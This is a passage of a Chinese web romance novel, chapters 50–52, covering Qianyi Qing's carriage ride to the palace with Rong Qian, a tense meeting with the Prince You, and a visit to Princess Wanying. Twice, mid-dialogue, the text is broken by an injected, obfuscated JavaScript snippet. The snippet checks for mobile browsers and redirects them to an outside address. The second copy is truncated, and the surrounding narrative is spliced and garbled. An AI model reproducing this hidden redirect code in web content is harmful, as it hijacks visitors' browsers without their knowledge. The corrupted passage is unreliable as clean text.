千裔清要进宫自然有她自己的打算,她没告诉容潜,关于卸去方幼渺易容的药方她已经拟了几套出来,可惜手边没有试验品,她需要见一见越曦,另外她也想问个清楚 或许是因为女子间的惺惺相惜,又或许是因为越曦帮过她。 她想知道为什么,为什么越曦会告诉她“不要帮他”。 这些疑问她没有向其他人透露过,也没有问过容潜。虽然知道容潜可能是知情者,但她更怕容潜会袒护自己的兄长。 其实这些没那么难以解释的,她只是还不能信任容潜罢了,她承认,她依然不了解他。 “带你去自然可以,只是有些事未必能让你听。”容潜隐晦地提醒。 天子谈话不能旁听是理所当然的,她哪里会计较这些,虽然容潜所说的“未必能让你听”并不是这个意思。 千裔清一副乖巧的样子:“那我就在宫里等你,皇宫里那么大,总有我能去的地方吧?” 容潜静静看着她,而后微眯了眸子:“你想去见越曦?” ......怎么看出来的,这人莫不是她肚子里的蛔虫吧? 容潜想了想:“你想见她可以跟我直说,不用藏着掖着,我知道你见过她。不错,她就是皇兄说的那个人,不过我也说过,这件事你想做便做不想做便不做,没有人会以此威胁你,当日不过是我随便找了个借口逼你就范而已,这些事我以为你早就听明白了。” 千裔清沉吟片刻,试探道:“你突然提起她......莫非其中还有什么隐情?” 容潜看着她冷哼一声背过身去:“你不用在这里套我的话,你想知道什么大可直接问我,可你总是这样试探!”他沉叹一口气,“从一开始我就说过,我对你始终如一,我以为这么久了你总算想通这些,没想到还是连最简单的信任都不肯给我。” 他转过身,看着她的样子尽是无奈,认输一般说道:“千裔清,你还要我如何告诉你我对你的感情?是不是我把心掏出来你还要猜测几句是不是我的苦肉计?” 千裔清抿着唇,第一次有种被噎的说不出话的感觉。 若他所说有半句不符她都可以立刻反唇相讥,偏偏他说的好像每局都是实话,越是实话,越像刀刃一样刺着她的心口。 她很久没有陷入过这种怀疑:她是不是做错了? 50. 选择 好在容潜虽然轻易猜透了她的心思,但这些对她进宫并没有什么影响。 偌大的车厢除了车轮轧过长街青石板的颠簸晃动,只剩下容潜翻书的声音。 千裔清觉得周遭的空气都不大流通了,没由来的烦躁,手指搭在箱盖上,红枫木和指甲每每触及都发出一声清脆的低吟。只是车厢里实在太安静了,这点细微的声响也难免吵到正座之上正读书的人。 容潜抬头很快扫了她一眼,又沉下头去,指尖翻过新的一页:“越曦平日除了在书房伴驾,有时候也会去太后宫里伺候,若是她真在太后寝宫,你可就要等些时候了。” 冷不防的一句嘱咐惹得千裔清诧异望向低着头的男人,这间车厢里绝找不出第三个人影来,毫无疑问,这句话一定是对她说的。 她看得出容潜恼她,本以为这一路上都要维持这种尴尬氛围,没想到还是对方先开了口。 片刻的诧异之后,千裔清自然的接过他的话:“太后宫里应当有自己用着习惯的宫女太监,为什么会让越曦去服侍?” “毕竟是醉方斋的老板,太后喜欢她的手艺,叫她去宫里送些茶点也无可厚非,皇兄国事繁忙,有她在也算是替皇兄尽尽孝心了。”容潜顿了顿,补充道,“哦,当今太后正是皇兄的生母,也是万楹公主的生母。” 从前在相府也曾听何若芸跟祝纶私下议论过,说永光帝实在是爱屋及乌的典范,只因对皇后的宠爱,连带着对她的两个孩子都偏心到极点,一个自打出生起就被内定为太子的唯一人选,另一个则是巴不得把世间最好的悉数给予对方,只是永光帝为万楹公主左挑右选也没能择个合适的,以后也再没机会看到她出嫁了。 相反的,车厢里坐着的则是与兄妹二人命运完全相反的一位,从小就因为自己的生母而备受连累,也不知道他每每提起太后心中作何感想。 “你一直盯着我做什么?”被盯的久了,软榻上的男人终于忍不住抬首,眉宇间却洋溢着愉快,“想看的话就坐近些,离这么远看得清吗?” 马车内的空间比一般的要宽敞许多,千裔清是刻意选了边角处坐着,衣衫边角摆的整整齐齐,人坐的也很规矩,几乎笼进角落帘幔的阴影下,仿佛只有这样才能不被他的冷意沾染。 千裔清轻咳一声扯开话题:“既然是皇上授意越曦前去服侍,那太后也知道她的女子身份吗?” “你坐近些我就告诉你。”放下书,敲了敲自己身边的位置,“坐近些,你问什么我就答什么。” 千裔清只犹豫了一瞬便提起裙角往车厢里面移动。 马车的空间虽是够宽敞,但高度远不足一个成年人起身直立,她只能弯着腰,一面又要照顾自己脚下以防踩到裙边。 随着车厢外的人声越来越噪杂,小厮驾着马车从窄路行进宽道。转弯的同时,车里的人也不由自主的跟着马车方向倒去,这一倒不要紧,正让千裔清一下磕在面前的桌角上。 “嘶——”好在目的地就在眼前,她低声吃痛,下一刻就被人扯进怀里。 “没事吧?”容潜拉着千裔清左看右看,“伤到哪了?腿?” “只是轻轻磕了一下,没事。” 见她下意识捂着膝盖,容潜心下一凛就去掀她的衣裙。 千裔清按住他扶上膝盖的手,满脸的拒绝:“做什么......这是外面。” “这里又没别人。”说完,他不由分说的就要继续手上动作,脸上是掩饰不住的急色。 “真的没事!”千裔清推开他,声音也提高几分。 大约是她表现的太不识好歹,容潜沉下撤回手。 不过磕一下而已,这一会儿已经不太痛了,她轻揉了两下,回过神来才发觉容潜的脸色并不好。 ......他是不是更生气了?出门时容潜就在气头上,这样一来岂不是火上浇油。 好像得说点什么。 “......下次能不能换个窄点的桌子。” 容潜拿着书目不斜视,闷闷地应了一声:“嗯。” 看他的脸色好像并没好多少。千裔清垂眸思索了一会儿,又说:“好像还是有点疼,你帮我揉揉吧?” 容潜微微抿唇,却还是依言撂下手上的册子,手指揉着她的膝盖,问道:“这里?” “嗯。”千裔清点点头,强忍着心中的不适。 她倒不是因为被他触碰而觉得不适,只是她膝处有道粗丑的短疤,那是连她自己都不愿意碰的地方,每每看到,她都会想起两年前的那个晚上。 只是不巧,身侧的男人按了几下,眉头逐渐皱起,拇指抵在她膝盖下侧的一处位置低喃:“这里好像......有道疤?” “嗯,不小心磕的。”她淡淡回答,却没注意自己眼中的闪躲被人一瞬捕捉到。 大手握着他的膝弯,容潜一面描摹着疤痕的形状,一面仔细回想着书房里的情景。他有些懊恼自己当时太心急,却没注意到她膝上的这道疤痕。看她的神情,绝非“不小心”这么简单。 样子做足了,千裔清推开他的手,紧绷的身体总算放松许多。 容潜缓缓开口:“我只知道皇兄并未对其他人提起越曦的女子身份,至于太后是否知道,我不清楚。” 千裔清怔了片刻才意识到他是在回答自己先前问的问题。 这话好像哪里不对,如果他从没对别人提起过,容潜又是怎么知道的? “是喻景淮告诉我的。”容潜看着她挑眉道,“都写在脸上了。” 千裔清没觉得是自己的心思都写在脸上,她只觉得这人怕真是蛔虫转世,老这么去猜她在想些什么。 好没意思,也好不公平。 她想起以前在霜序居的时候,一贯都是自己轻而易举的调动他的想法。 那个时候的容潜又是怎么想的呢?他是不是也觉得很不公平? 千裔清扯了扯嘴角,越来越觉得自己有点在还债的感觉。 直到温热粗糙的指缘按在她唇角边上轻轻向上提,容潜正意图使用蛮力把她苦恼的表情转变为高兴。 千裔清横了他一眼,脖子向后缩了一些:“幼稚。” 容潜不以为意地笑了笑:“若你愿意多花两分心思,你也可以猜出我在想些什么,对吗?” 接着他又弯着眼睛道:“当然,你也可以不用猜我在想什么,只要你愿意问我,我什么都告诉你,这样我也会开心的。” “那么你呢,我给了你两个选择,你选什么?” 一条笔直的路上无非两个方向,无论千裔清朝哪个方向走,他都给她找好了合适的理由和退路。可惜千裔清偏偏都不肯选,她选择了站在原地。 千裔清别过头,随手撩开车帘探出半个脑袋:“好久没在街上走了,夏时的皇都还挺热闹。” 容潜无奈地叹了口气:“千裔清,有没有人说过你真的很倔。” 她想了想,好像是有的。 小时候父母都在身边,邻里乡亲对待孩童也都很好,那个时候她的性子还很开朗顽皮,有点像男孩子,经常惹些祸事回家,可她总归是女孩子,打也打不得。爹爹也曾对着她叹气,说她太倔了,什么事都喜欢认死理,认准了就不肯回头了。娘亲这时候总会出来打圆场,说女孩儿倔点好,不容易被人骗。 如今看来倒也没错。 身后的男人陡然伸出手,自耳后掠过,扣着下巴将她探出的半个脑袋拉了回来。动作强硬,千裔清被扯得倚在容潜胸口,仰着头正对上他满含认真的双眼。 四目相视,避无可避,退无可退。 容潜看着她,拇指缓缓上移,在她柔嫩的朱唇上轻轻蹭着。 千裔清止住他手上动作:“我涂了口脂,你这样会蹭花的。” “花了就花了,不会有人说你。”他弯起嘴角,低头正要往她唇上印。 “那也不行!”千裔清推开他,翻身起来。 她待会要去的可是皇宫,又不是什么寻常地方,若是一脸狼藉地过去岂不是闹大笑话,她虽然不太在意闲言碎语,但脸还是得要的。 容潜哪里知道女子心中的这些弯弯绕绕,他只知道千裔清拒绝了他,并且拒绝了两次,态度还很坚决。 接连遭拒不会让他觉得没面子,却会让一个男人觉得很受挫,有种所珍视的东西正在往外溜的感觉,既慌张,又气恼。 他正要发作,马车颠簸之下,驾马的小厮狠狠扯紧缰绳。 容潜倒是没什么,他精于马术,又常年习武,再急再险的情况也遇见过,自然也能轻易应付这些小意外,顷刻间便稳住身形。 千裔清就惨了,她一头扎进容潜怀里,整张脸都扣进他的脖颈和衣襟处。 不仅如此,还很疼。 “唔嗯......” 千裔清闷哼一声,抬起头时一眼就看着了容潜衣裳领口处绯红的一抹印痕。 她的第一反应是:遭了,把殿下面圣的衣裳弄脏了。 很快她意识到了另一个严重的问题:完了,她的脸可能花了! 容潜一面揽着她,阴沉着脸冷声对着车厢外的小厮:“出什么事了?” 不过一会儿,小厮跳下马车来到车窗侧边,老老实实道:“殿下恕罪!是佑王府的马车从南边巷子里出来,小的避闪不及才......” 佑王?! 自从千裔清来到坤京,这并不是她第一次听到“佑王”这两个字,就连她自己也常提起,虽然每次提起时都恨得牙痒痒,可她不得不承认,她并没准备好和他真的对上,更没准备好和他见面。 感觉到怀里的人身形猛然紧绷,容潜皱了皱眉,隔着帘子道:“不必理会他们,进宫要紧。” “是是!” 呼...... 千裔清暗自舒了一口气,然而这口气还没来得及舒完,一道声音猛然在车帘外响起。 “车里的可是九弟?” 是佑王! 这声音她断不会听错,这是她昏睡的几个月里无数次梦到的声音,几乎包揽她所有的噩梦根源。 容潜在她肩头安抚地拍了拍,隔着厚重的帘子对着外头的人道:“七皇兄向来见了本王都不敢近前,今日怎么胆子大了?” 千裔清错愕看向容潜。 她是听过两人不合的传言,却没想到两人关系已经差到这种地步,容潜这话说得也太不难听了点。 那佑王呢? 依佑王的性子,这他能忍? 佑王干笑两声:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992202|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看这方向九弟是要进宫,刚巧为兄也要去见见皇兄,这便下来打个招呼。咦?九弟这是连见都不愿见为兄了吗?” 容潜嗯了一声,毫不客气道:“不想坏了心情,七皇兄还是离远些吧,别挡着本王的路。” 佑王还真忍了? 也是......如今崇安王是朝廷重要武将,又威名在外,最重要的是,那个能做他身后倚仗的永光帝已经不在了。 纵然他再不愿忍,也要忍。 外面的人似乎张口顿了顿:“为兄听说昔日旧人已归,况且九弟不日就要迎娶绥夏公主,九弟好福气,竟能抱得两个美人在怀,过去的事就不要跟为兄计较了吧?” 佑王叹了一声,印象之中罕见的忍气吞声。 “七皇兄所言何事本王听不懂,只是你若再拦着路,本王不介意这马车从你身上踏过去。”说完,他俯身靠近千裔清耳边轻声说了一句,“放心,我在这儿。” 佑王听得这动静愣了片刻,凑近车窗,抬手的动作在华锦外停了一瞬,还是没忍住掀上车帘...... “佑王殿下!”千裔清抬声打断,拦上车帘的两节手指生生顿住。 见状,千裔清沉了沉心神:“多些佑王殿下记挂,只是车厢里头实在不大方便,佑王殿下还是别再上前了。” 佑王滞了一瞬,而后缩回手,像是撞破什么好事一样讪笑:“哦......原来千千姑娘也在,那——” “七皇兄是没听见她说的话吗?几日未见,耳朵也越发不好使了!”容潜不悦的打断,显然早已对佑王拦路的行为不耐烦。 他不管佑王是为了叙旧还是找借口示好,总归是耽误太久了。他没时间,也没心情和没必要的人再继续说下去。 佑王咽了口气:“也好,九弟,那咱们待会儿宫里见!” 脚步渐远,马车也重新回到正常的行驶状态。 容潜正带着些许探究看她:“我以为你不想和他说话的。” 她神色淡淡:“只要我还在坤京一天就总是不可避免的。” “所以你才不喜欢这里?”容潜喃喃道,“因为这里有你厌恶的人,你恨他。” 她一定是恨佑王的,从她方才的反应来看,那是一种本能的抗拒和憎恨,他断不会弄错。 千裔清很坦诚地回答:“我为什么不恨他?他害过我,尽管我还活着,可他依然害过我。这是永远不会改变的事实。” 她是大夫,又不是圣人,没道理有包容一切甚至关爱仇人的道理,除非她脑子坏了。 对千裔清来说,报恩与报仇,她一定是分得清楚的。 千裔清整理着方才因颠簸周折弄乱的衣裳和褶皱,又屈起手指轻拢发丝,目光落在眼前的玄色衣襟上她微微愣住。 她犹豫开口:“......待会儿你除了见皇上还要不要见其他朝臣?” “不见。” “那还好。”千裔清指着他的领口,“方才颠簸,不小心弄脏了你的衣裳。” 容潜低头扫了一眼,那抹朱红在他黑色的衣襟上并不算显眼,只有距离近些才能注意到,不过...... “你的口脂也花了。”他指着她的唇角,“不过也还好,只有一点,你凑近些,我帮你处理干净。” 车上定然是不会出现女子用的铜镜之类,千裔清在心底小小的怀疑了他一瞬,还是把脸凑过去:“你小心点,不要弄得更脏了。” 若是弄到她脸上更是难以补救,但眼下千裔清好像也只能寄希望于眼前这个人。 带着月麟香的手指在她唇上轻柔的触碰着。 一下,又一下。 “好了吗?” 千裔清总觉得这不像在帮她擦唇脂,更像是在占她便宜,硬要分辨的话,眼前这个男人的手段更高明一些,看起来不那么像登徒子罢了。 “嘘。”拇指上抬,封住她轻启的双唇,容潜一脸惋惜道,“本来好了,现在又花了。” 千裔清拧眉,低眸瞧着他指纹上乱七八糟的红迹。“还是我自己来吧。” 回应她的是再次被封住的朱唇,只不过这次,带着薄茧的拇指被替代,覆盖上她的是容潜微乱的呼吸,像是隐忍了许久,带着狂风暴雨一般的攻势拦住她的退后和逃离,最后竟是生生把她逼得紧贴着车厢隔板。 再无退路。 他的手掌抬着她的脖颈,另一只手则紧紧按在车窗边沿,鼻尖相蹭,千裔清觉得自己的嘴唇都被磨的生疼,对方却远没有要结束的意思。 车势渐缓,马车接近宫门口,最后在宫门外稳稳停下,再没出现头先的颠簸情况。想来也是赶车的小厮怕丢了饭碗。 不,应该是怕丢了小命。 “殿下,到永昌门了。” 容潜不为所动,像是没听着一样留连在她唇齿之间,任凭她如何推搡都不动分毫。 小厮不知道车厢里什么状况,却也不敢轻易去打扰,只立在马车两步外低头候着,只等两人什么时候出来。 过了许久。容潜蓦的放开她,千裔清得了间隙大口喘息,她几乎怀疑再继续下去自己会窒息也说不定,大脑几乎已经快没了思考的能力。 混沌间她听到容潜低笑一声:“好了,现在干净了。” 51. 稀客 嗯......千裔清怎么也没想到容潜指的“干净”是这种干净。 虽然的确是干净了不假,唇上的朱红尽数被他咽下,只剩下一丝娇粉的晕色在他唇峰边缘,颇带了些不言而喻的意味。 车门打开,小厮搭好车梯抬头,只匆匆瞥了一眼就赶忙低下去。 瞧这两人脸色别扭,衣襟微乱,任谁看了都无法不联想一下。 可惜现在最多算是不得体,更差的情况摆在眼前。 一进内廷,常伴圣驾的小太监说皇上在正珵殿批折子,猜到了崇安王要进宫来,所以一早就在这里候着。 至于越曦,他则表示太后刚醒,不巧传召初七去懿祥宫侍奉,恐怕一时半会是回不来的。 容潜偏头瞧她:“玉和宫离懿祥宫不远,我送你去万楹那里等,有消息了便派人通知你。” 万楹公主年纪小,身份又尊贵,也不知道是不是好相处的角色,再说和一个陌生人待在一起又不知道要待上多少时候,还是有些为难。 千裔清问:“我能不能在后宫随便走走,你只要告诉我哪些地方能去,哪些地方去不得就好。” 容潜垂眼想了一下:“皇兄虽还未纳妃妾入后宫,但这宫中还有不少太妃太嫔居住,她们都不认得你,万一遇上了恐怕又会生什么事端。” 先帝抱病而终,新帝又登位的突然,再加上容烨意外的“坚贞”,其实后宫并不充盈,除了万楹公主之外,其他的都是先帝的一些后妃了。 那些个老女人惯是闲着没什么事做,无事便去旁的太妃宫里小坐闲谈,背后嚼一嚼舌根。容潜幼时就对这些事印象颇深,他是听惯了,却不想千裔清也听到这些。 而且......来时他如果没听错的话,佑王也进宫了。 想来想去,还是万楹那里最合适。 千裔清默然,容潜又提醒道:“方才你不是说自己唇脂花了,万楹那里有十方进贡的新色,你可以试试,喜欢就自己留下,我自会跟她说。” 千裔清没忍住剜了他一眼,坦白问出自己的担心:“你和万楹公主的关系如何?” 容潜跟容烨的关系似乎不错,但远不会是单纯兄弟之间的关系不错,其中少不了许多的国政利益纠缠,而万楹公主作为容烨的亲妹妹,她对容潜的态度又是什么样的?若千裔清贸然前去会不会有什么不妥...... 千裔清承认,只要一踏进这皇城之中,她无论做什么说什么都免不了会多考虑许多层。正所谓一朝被蛇咬,十年怕井绳,这大概就是年轻时口不择言的后遗症吧。 想到这里,她有些自嘲地扯动下嘴角。 两人已经路过正珵殿有段距离,正朝着太后和万楹公主的寝宫方向去。 容潜道:“万楹年纪小心思也单纯,自皇兄继位以后宫里远不如从前热闹,瑶华公主又极少进宫看她,你若去了她一定会很高兴。” 听这话的意思,万楹公主并不是什么难相与的人物,千裔清这才稍微放心一些,点点头,跟着他继续走。 玉和宫。 万楹公主已至笄岁,又是宫中所剩的唯一一位公主,身边一干人等最为记挂的自然就是她的婚事。不仅太后整日催着她,就连其他宫里的太妃也总是明里暗里的同她提点,今日说这家府上的公子不错,明日又说那家的少爷也好,但左不过都是自己亲戚,心中打了什么主意也十分明白。 “公主,崇安王来看您了!” “九哥来了?”万楹公主眼睛一亮,恹恹的神色一扫而空,慌忙着就朝寝殿外跑。 “哎——公主等等!崇安王还带了一位女子一同过来!” 万楹公主闻言脚步一顿,回过头神色古怪道:“是那个绥夏过来的公主?” 要是那个女人,她反倒不想见了。 宫女仔细回忆着皎月公主的样子,摇了摇头答道:“奴婢瞧着不像,今日来的这位似乎更貌美些。” 难不成是新皇嫂? 万楹公主对当年之事虽然不太清楚,却也是略有耳闻,隐约知晓是有这么一个人存在,只是五皇兄平日不允她出宫乱跑,九皇兄又行事颇为孤僻,她一直想去见见这个传说中的人物,却没寻到什么好的时机。 正想着,容潜携着那位“女子”被迎入正殿。 千裔清没见过万楹公主,今日是第一次,一进殿门她就注意到了站在门侧露着狡黠表情的华裳人影,不知道在打什么主意,看起来神神秘秘的。 千裔清抿了抿唇,容烨一贯是副正人君子做派,做什么事都力求最得体,而这位公主看起来性子跟容烨不大像。 “九哥可是好久没来看我了!”万楹公主笑着上前,歪头打量他身后的千裔清,疑惑道,“这位是皇嫂?” 皇嫂? 千裔清想了想,侍妾这个身份虽然上不得台面,但从关系上好像也能这么算。 容潜没回答她的问题,先是寒暄着:“许久不见,万楹越来越漂亮了。” “不及皇嫂十分之一呢!”万楹公主杏眼弯着,又突然撇着嘴说,“九哥以前都唤我肴乐的,怎么如今都是唤我万楹,听起来好别扭,像是不要跟我做兄妹了似的!” 容潜揉了揉眉心,纠正她:“你我本就不是一母同胞兄妹。” 千裔清也没想到容潜会把她们的关系划分如此清楚,听万楹公主所说,他们儿时关系应该也算亲近,如今他矢口所言,真是有些伤人了。 她想了想,出来打圆场:“见过万楹公主。” 万楹公主原本还在伤心,见这么个大美人对她盈盈一笑,心情顿时又好了一些,鼓着嘴嘟囔一句:“算了,不跟你计较!” 她拉着千裔清的手兴冲冲问:“皇嫂,你和九哥一起来我宫里是有什么事吗?” 千裔清道:“崇安王和皇上有事要谈,带着我不大方便,想着公主一个人在宫里难免会觉得闷,便让我来陪您说说话。” 说完,还扫了容潜一眼,眼神中的暗示分明。 万楹公主狐疑道:“真的?” 容潜顿了顿:“嗯。” 千裔清暗自诽腹:再怎么说也是你皇妹,纵是不太亲近,幼时的交情也该还在,干嘛总是一副死人脸对着人家? 万楹公主一扫刚才的阴郁:“我就知道九哥外冷内热,一定是不好意思才这么说的!” 千裔清浅笑着颔首,转过头看着容潜:“不是要去正珵殿吗?殿下快去吧,别耽误了要紧事。” 他眉眼变得柔和,伸手在她脸上掐了一下:“好,你在这乖乖待着,有事就找人去正珵殿通知我,我马上过来。” “九哥说的好像皇嫂在我这里会受委屈似的!放心吧,我肯定能护着皇嫂的!”万楹公主仰着头保证。 不得不说,这一声声皇嫂落在容潜耳旁十分受用,觉得这个皇妹比幼时还要讨人喜欢,若不是她有那样一个太后母亲...... 罢了。 容潜沉了沉嘴角,语气缓和几分:“那九哥就先谢过......肴乐了。” “九哥客气啦!” - 总算是送走了这个木头脸,要不是他平日在自己面前不是这个样子,千裔清都要怀疑他的表情是不是从陆离那转移来的。 千裔清摇了摇头,这才闲下心好好打量一番万楹公主。 她倒是很好哄的,三两句就可以冰释前嫌,完全不把容潜的冷言冷语放在心里。的确是心思单纯,但千裔清不觉得这是什么好事。 她只是庆幸万楹公主生在皇宫能受到最全面的保护,若是生在普通人家,哪怕是祝音那样的人家,都是要留些心眼的。 万楹公主看她一会摇头一会叹气的,好奇问:“皇嫂怎么这么看着我?是今日肴乐的脂粉没抹均匀吗?” 千裔清笑了笑:“没有,公主年轻貌美,就是不着粉黛也是好看的。” 万楹公主摆摆手:“皇嫂是在哄我吧?对了,你今日怎么没涂口脂啊?看起来气色不大好......啊!我这有十方进贡的香粉和唇脂,颜色香味都十分特别,皇嫂来试试?” 说罢,她不由分说的拉着千裔清坐下,又亲手在她脸上涂抹。千裔清推脱几句,愣是敌不过她的小孩子心性,便随她去了。 “怎么样,好看吧?” 千裔清对着镜子瞧瞧,是比方才看起来更像个活人了。 万楹公主看起来是真的长久不接触外头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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万楹公主想起从前见过的那些个公子哥儿们,狠狠摇了摇头:“往日在宫宴上我也见过不少的,左不过是些纨绔子弟,要么就是木头,我不喜欢。” 千裔清托着腮:“哦?那你喜欢什么样儿的?” 被这么一问,万楹公主也开始认真思考起来。 喜欢什么样子的? 她所见过的男子不多,脑海中草草过了一遍,万楹公主很快就有了结论:“我喜欢二哥那样的!” “璟王?”千裔清一怔,随即一想也觉得在理。那可是璟王,夜南女子谁提起不是一心向往恨不能嫁的。 “那你不喜欢什么样的?” 显然这个问题比刚才的要难回答一些,万楹公主的思考时间变的更长,眉头蹙起又放松,几番来回,她犹豫着得出一个结论:“......应该是七哥那样的。” 千裔清:“......” 或许万楹见过的男子真的很少,她还真是很擅长拿自己身边的人举例子。但不得不说,她的例子又举的恰如其分,不用多解释就能让人感同身受。 千裔清:“你觉得佑王哪里不好?” 万楹公主这下没犹豫,掰着手指一条一条的数落:“没礼貌、轻浮、花心......” 千裔清听着她数,一条一条简直是全然描绘了佑王的所有缺点,正所谓最了解不过至亲,万楹公主真不愧是佑王的妹妹,对她这位哥哥倒是很了解。 万楹公主还在数着:“不守规矩、不懂分寸......” “我说皇妹,怎么为兄一不在就在背后说我坏话?” 听得这不速之客的声音,千裔清背脊一僵。 他怎么会来这里?! 万楹公主转过头,看着不请自来的男人:“七哥过来怎么也不让人通报一声,难道又给我带惊喜啦?” 一身浮夸金饰的衣袍,一手背着,另一只手托着一只描金装饰的翡翠玉匣。样貌与从前无二。 正是佑王。 “七哥哪次进宫不给你带礼物的?”他扬着手中的盒子,目光最终落在对面的千裔清脸上,一别两年,再见却还是如初见一般闪过一瞬的惊艳,他早料到的,却还是来了。 “千千姑娘也......好久不见了。” 52. 太后 “佑王殿下。” 千裔清看着他,昔日在佑王府被他手下人按着喂下浮心引的那一幕仿佛就在眼前,只是预想中的恐惧感并没有那么强烈,再见到他,千裔清诧异自己此时的平静,以及心头渐渐褪去的震撼感觉。 为什么要怕他? 是啊,做错事的是他,怕的人应该是他! 佑王踱步缓缓上前,嘴角噙着故作温顺的笑:“一别两年,千千姑娘红颜依旧,难怪九弟念念不忘,纵然是我也十分懊悔自己当初的行径——” “七哥!”万楹公主伸手拦在千裔清面前,不高兴道,“七哥既然知道她是九哥的人就不要再说这些轻浮的话了,当心九哥听见!” 佑王脸上出现一刹的恐慌,转而恢复如常,除了嘴角那丝看起来快要挂不住的笑出卖了他的心情:“方才肴乐也一一细数为兄的毛病,自然知道七哥是跟你们开玩笑的,千千姑娘想来也不会介意的吧?” 千裔清垂下眼睫轻颤几下,旋即勾了勾唇角:“佑王殿下是来找万楹公主的吧,那我便不打扰你们叙家常了。” 佑王退了一步拦住她的去路:“先不急着走——千千姑娘,前几日我送到九弟府上的雪莲你可收到了?不为别的,但求千千姑娘莫要怪罪,咱们冰释前嫌可好?” 千裔清漠然看着他,许久没说话,知道佑王也被盯得有些不自在了,千裔清轻笑一声,波澜不惊道:“收到了,我替皇上多谢佑王送药。至于殿下说什么冰释前嫌......” 她佯装想不起来的样子:“佑王指的是什么事?咱们从前有什么过节吗?” 佑王一愣,不知道她这是打的什么主意,难道真的是他想多了? 他觉得疑惑,一面又觉得窃喜。 佑王心情显然很好,他把玉匣放在桌上,对着万楹公主说道:“看来肴乐还真是个小福星,七哥的礼物不算白送!” 万楹公主立刻被桌上的东西吸引了目光:“是什么?” “自然是肴乐最想要的荷珠,上次听你在园中提起想用荷珠嵌在发冠上,七哥当时就记下了,好不容易才弄到手的,你瞧?”佑王邀功似的挑眉,打开玉匣的盖子,里头赫然是颗鹅卵石大小的粉色珠子,晶莹剔透,好看的紧。 “哇!真的是荷珠,比上次见的那颗更漂亮!”万楹公主小心地捧在手上,“谢谢七哥,还是你最疼肴乐!” 这种天然颜色又通透至此的荷珠夜南极少见到。千裔清蹙眉,目光落在佑王扬起的唇边弧度:“荷珠应是绥夏盛产,这种品相的应该出自......绥夏皇室?” 佑王低着头轻笑,眉梢上笼着一层阴影看不清表情:“什么绥夏皇室?不过是在域外游玩时偶然遇到花高价买回来的而已。” 是吗? 千裔清觉得哪里不对。 佑王的马车同他们在长街相遇,又先他们一步离开,那时她已隐隐担心会在宫门偶遇佑王。 再之后......她和容潜在车上耽搁许久,直到下车时见门外四下无人,她便把这件事暂时抛之脑后了。 这再后来嘛,她和容潜一起来见万楹公主,又聊了一些有的没的。满打满算也过了半个时辰左右。 半个时辰,佑王才像是刚进宫的样子。 但这些都不重要,重要的是这颗荷珠她见过的,若不是品相太好她也很难留意到。 皎月公主那日气冲冲的冲进书房,脖子上那串满是珠翠的璎珞之上,中心所嵌的好像也是这样一颗荷珠...... “原来是这样,那不知佑王殿下是在域外何处花了多少钱买来的呢?”千裔清装作随口问着,一面小心观察对方的神情。 出自绥夏皇室的说辞不过是她随便说说的,只是佑王看起来实在太坦然了,他仍是那副纨绔随意的样子:“应该是祁山吧,你瞧这玉匣,这和送至九弟府上装雪莲的玉匣都是一道买的,至于这荷珠多少钱本王就实在记不住了......欸?千千姑娘问这个做什么?” 千裔清浅浅一笑:“无事,只是好奇而已,毕竟这种品相的荷珠实属难得。” “那又何妨?千千姑娘若是喜欢,本王下次得了再送你一颗!”佑王又问,“对了,那日的雪莲可有用上?是否帮了你的大忙?” “自然用到了。”千裔清正奇怪佑王总问那几株雪莲做什么,从打开这只荷珠,他已经提到三次了。 佑王笑道:“是吗......那就好。” “对了七哥,你还没说你来做什么呢!就为了给我送荷珠来吗?”万楹公主收下荷珠,对佑王更添几分和颜悦色,不似方才那么防备了。 “自然还要去见见皇兄,荷珠送到,为兄也就不多留了。”佑王颔首,目光在千裔清身上停了片刻后微微一笑,什么也没说。 他是真的走了,好像此番只是为了来送件礼物一样,匆匆而来又匆匆离去。 “佑王经常来宫里看你吗?” 万楹公主难得腼腆一笑,为自己刚才数落佑王的缺点而觉得有些不好意思。 “是真的,其他几位皇兄进宫都是来找五哥,只有七哥常来看我,每次都会带些礼物过来......虽然他品性不端,但对我真的很好。” 千裔清沉吟着点点头。 看来真的是自己疑心太重,这一切不过是凑巧而已。 佑王和皎月公主,他们两个怎么会有牵扯。 万楹公主一直拉着千裔清追问她和容潜的事,但实在是没什么好说的,她想了想,左不过是用那么两句“误会、意外”来敷衍着。 见问不出什么,万楹公主干脆自己打开话匣子,她对千裔清的印象很好,只觉得她不像容潜一样板着脸,对自己总是笑盈盈的,说的都是自己爱听的话。 千裔清听着,又是点头又是附和。 据说初七的确是几个月前入宫的,他并不是依照正常筛选和训练以后进宫伴驾,而是突然就出现在宫里。万楹公主也曾问过皇上从来弄来手艺这么好的小太监,而皇上却说是故人家眷,见他没什么依靠,索性带在身边了。 容烨做太子时广交好友是众所周知的,唯一奇怪的是太后在尝了几次初七制的茶以后突然向容烨要人,容烨委婉拒绝,太后思虑以后也不再强求,只说让他以国事为重,烹茶煮酒之事要少些,后来便常常召初七侍奉,一去至少一两个时辰,有时会陪上一天。 千裔清总算明白容潜那句“我不清楚”是什么意思了,太后不愧是后宫活的最久的女人,人也是最通透。想必她是看出来越曦的女子之身,对她的身份又不太满意,这才百般找理由让她远离自己的儿子。 “大约......攻下了十方,他不需要我做个隐姓埋名的小太监了。” 这句话不断在脑海中重复着。 ......容烨该不会是有心让越曦恢复女子身份入宫陪伴身侧吧? 这想法一闪而过,千裔清忍不住皱紧眉头。 麻烦了,容烨难得遇上个想留在身边的女人。若千裔清拂了他的意,当真不会惹圣怒? 